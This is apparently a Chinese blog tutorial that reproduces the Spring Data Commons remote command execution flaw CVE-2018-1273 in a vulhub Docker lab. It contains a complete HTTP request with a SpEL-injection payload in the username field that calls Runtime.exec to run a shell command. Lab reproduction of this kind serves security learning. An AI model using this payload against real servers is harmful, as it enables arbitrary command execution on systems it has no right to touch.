当前位置 博文首页 > 冰淇淋干杯:CVE-2018-1273 Spring Data Commons 远程命令执行漏

    冰淇淋干杯:CVE-2018-1273 Spring Data Commons 远程命令执行漏

    作者:冰淇淋干杯 时间:2021-01-21 16:05

    一、漏洞描述

      Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
    

    二、漏洞环境搭建

    需要准备的工具如下:

    1.docker+vulhub漏洞库
    2.Burpsuite
    3.靶机Ubuntu18.04虚拟机(其他也可以)
    

    打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进入环境,没有的话先安装docker和下载vulhub漏洞库(网上教程很多,这里就不多介绍了)

    root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# 
    

    执行命令

    root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d
    

    等到出现以下页面证明已经搭建完成

    可以访问http://your-ip:8080,出现如下页面证明环境搭建成功!

    三、漏洞利用

    1、注册用户,提交抓包

    2、构造payload,进行发包测试

    POST /users?page=&size=5 HTTP/1.1
    Host: 192.168.1.17:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 121
    Origin: http://192.168.1.17:8080
    Connection: close
    Referer: http://192.168.1.17:8080/users
    Upgrade-Insecure-Requests: 1
    
    username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=
    

    服务器返回如下页面时,证明攻击成功!

    3、进入Ubuntu环境中,执行

    root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
    进入目录,查看tmp下的目录成功出现2333文件,命令执行成功!

    4、关闭docker环境

    docker-compose down